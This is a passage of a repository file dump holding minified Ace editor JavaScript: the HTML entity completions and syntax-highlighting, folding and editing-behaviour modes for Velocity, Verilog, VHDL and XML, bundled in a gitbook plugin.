i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),define(\"ace/mode/velocity_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./html_highlight_rules\").HtmlHighlightRules,u=function(){o.call(this);var e=i.arrayToMap(\"true|false|null\".split(\"|\")),t=i.arrayToMap(\"_DateTool|_DisplayTool|_EscapeTool|_FieldTool|_MathTool|_NumberTool|_SerializerTool|_SortTool|_StringTool|_XPathTool\".split(\"|\")),n=i.arrayToMap(\"$contentRoot|$foreach\".split(\"|\")),r=i.arrayToMap(\"#set|#macro|#include|#parse|#if|#elseif|#else|#foreach|#break|#end|#stop\".split(\"|\"));this.$rules.start.push({token:\"comment\",regex:\"##.*$\"},{token:\"comment.block\",regex:\"#\\\\*\",next:\"vm_comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:function(i){return r.hasOwnProperty(i)?\"keyword\":e.hasOwnProperty(i)?\"constant.language\":n.hasOwnProperty(i)?\"variable.language\":t.hasOwnProperty(i)||t.hasOwnProperty(i.substring(1))?\"support.function\":i==\"debugger\"?\"invalid.deprecated\":i.match(/^(\\$[a-zA-Z_][a-zA-Z0-9_]*)$/)?\"variable\":\"identifier\"},regex:\"[a-zA-Z$#][a-zA-Z0-9_]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|&|\\\\*|\\\\-|\\\\+|=|!=|<=|>=|<|>|&&|\\\\|\\\\|\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}),this.$rules.vm_comment=[{token:\"comment\",regex:\"\\\\*#|-->\",next:\"start\"},{defaultToken:\"comment\"}],this.$rules.vm_start=[{token:\"variable\",regex:\"}\",next:\"pop\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:function(i){return r.hasOwnProperty(i)?\"keyword\":e.hasOwnProperty(i)?\"constant.language\":n.hasOwnProperty(i)?\"variable.language\":t.hasOwnProperty(i)||t.hasOwnProperty(i.substring(1))?\"support.function\":i==\"debugger\"?\"invalid.deprecated\":i.match(/^(\\$[a-zA-Z_$][a-zA-Z0-9_]*)$/)?\"variable\":\"identifier\"},regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|&|\\\\*|\\\\-|\\\\+|=|!=|<=|>=|<|>|&&|\\\\|\\\\|\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}];for(var s in this.$rules)this.$rules[s].unshift({token:\"variable\",regex:\"\\\\${\",push:\"vm_start\"});this.normalizeRules()};r.inherits(u,s),t.VelocityHighlightRules=u}),define(\"ace/mode/folding/velocity\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"##\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"##\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"##\"&&s[i]==\"##\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"##\"&&o[i]==\"##\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/velocity\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/velocity_highlight_rules\",\"ace/mode/folding/velocity\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./velocity_highlight_rules\").VelocityHighlightRules,o=e(\"./folding/velocity\").FoldMode,u=function(){i.call(this),this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"##\",this.blockComment={start:\"#*\",end:\"*#\"},this.$id=\"ace/mode/velocity\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-verilog.js",
    "content": "define(\"ace/mode/verilog_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"always|and|assign|automatic|begin|buf|bufif0|bufif1|case|casex|casez|cell|cmos|config|deassign|default|defparam|design|disable|edge|else|end|endcase|endconfig|endfunction|endgenerate|endmodule|endprimitive|endspecify|endtable|endtask|event|for|force|forever|fork|function|generate|genvar|highz0|highz1|if|ifnone|incdir|include|initial|inout|input|instance|integer|join|large|liblist|library|localparam|macromodule|medium|module|nand|negedge|nmos|nor|noshowcancelled|not|notif0|notif1|or|output|parameter|pmos|posedge|primitive|pull0|pull1|pulldown|pullup|pulsestyle_onevent|pulsestyle_ondetect|rcmos|real|realtime|reg|release|repeat|rnmos|rpmos|rtran|rtranif0|rtranif1|scalared|showcancelled|signed|small|specify|specparam|strong0|strong1|supply0|supply1|table|task|time|tran|tranif0|tranif1|tri|tri0|tri1|triand|trior|trireg|unsigned|use|vectored|wait|wand|weak0|weak1|while|wire|wor|xnor|xorbegin|bufif0|bufif1|case|casex|casez|config|else|end|endcase|endconfig|endfunction|endgenerate|endmodule|endprimitive|endspecify|endtable|endtask|for|forever|function|generate|if|ifnone|macromodule|module|primitive|repeat|specify|table|task|while\",t=\"true|false|null\",n=\"count|min|max|avg|sum|rank|now|coalesce|main\",r=this.createKeywordMapper({\"support.function\":n,keyword:e,\"constant.language\":t},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\"//.*$\"},{token:\"comment.start\",regex:\"/\\\\*\",next:[{token:\"comment.end\",regex:\"\\\\*/\"},{defaultToken:\"comment\"}]},{token:\"string\",regex:'\".*?\"'},{token:\"string\",regex:\"'.*?'\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\/|\\\\/\\\\/|%|<@>|@>|<@|&|\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"text\",regex:\"\\\\s+\"}]},this.normalizeRules()};r.inherits(s,i),t.VerilogHighlightRules=s}),define(\"ace/mode/verilog\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/verilog_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./verilog_highlight_rules\").VerilogHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/verilog\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-vhdl.js",
    "content": "define(\"ace/mode/vhdl_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"access|after|ailas|all|architecture|assert|attribute|begin|block|buffer|bus|case|component|configuration|disconnect|downto|else|elsif|end|entity|file|for|function|generate|generic|guarded|if|impure|in|inertial|inout|is|label|linkage|literal|loop|mapnew|next|of|on|open|others|out|port|process|pure|range|record|reject|report|return|select|shared|subtype|then|to|transport|type|unaffected|united|until|wait|when|while|with\",t=\"bit|bit_vector|boolean|character|integer|line|natural|positive|real|register|severity|signal|signed|std_logic|std_logic_vector|string||text|time|unsigned|variable\",n=\"array|constant\",r=\"abs|and|mod|nand|nor|not|rem|rol|ror|sla|sll|srasrl|xnor|xor\",i=\"true|false|null\",s=this.createKeywordMapper({\"keyword.operator\":r,keyword:e,\"constant.language\":i,\"storage.modifier\":n,\"storage.type\":t},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\"--.*$\"},{token:\"string\",regex:'\".*?\"'},{token:\"string\",regex:\"'.*?'\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"keyword\",regex:\"\\\\s*(?:library|package|use)\\\\b\"},{token:s,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"&|\\\\*|\\\\+|\\\\-|\\\\/|<|=|>|\\\\||=>|\\\\*\\\\*|:=|\\\\/=|>=|<=|<>\"},{token:\"punctuation.operator\",regex:\"\\\\'|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[(]\"},{token:\"paren.rparen\",regex:\"[\\\\])]\"},{token:\"text\",regex:\"\\\\s+\"}]}};r.inherits(s,i),t.VHDLHighlightRules=s}),define(\"ace/mode/vhdl\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/vhdl_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./vhdl_highlight_rules\").VHDLHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.$id=\"ace/mode/vhdl\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-xml.js",
    "content": "define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do 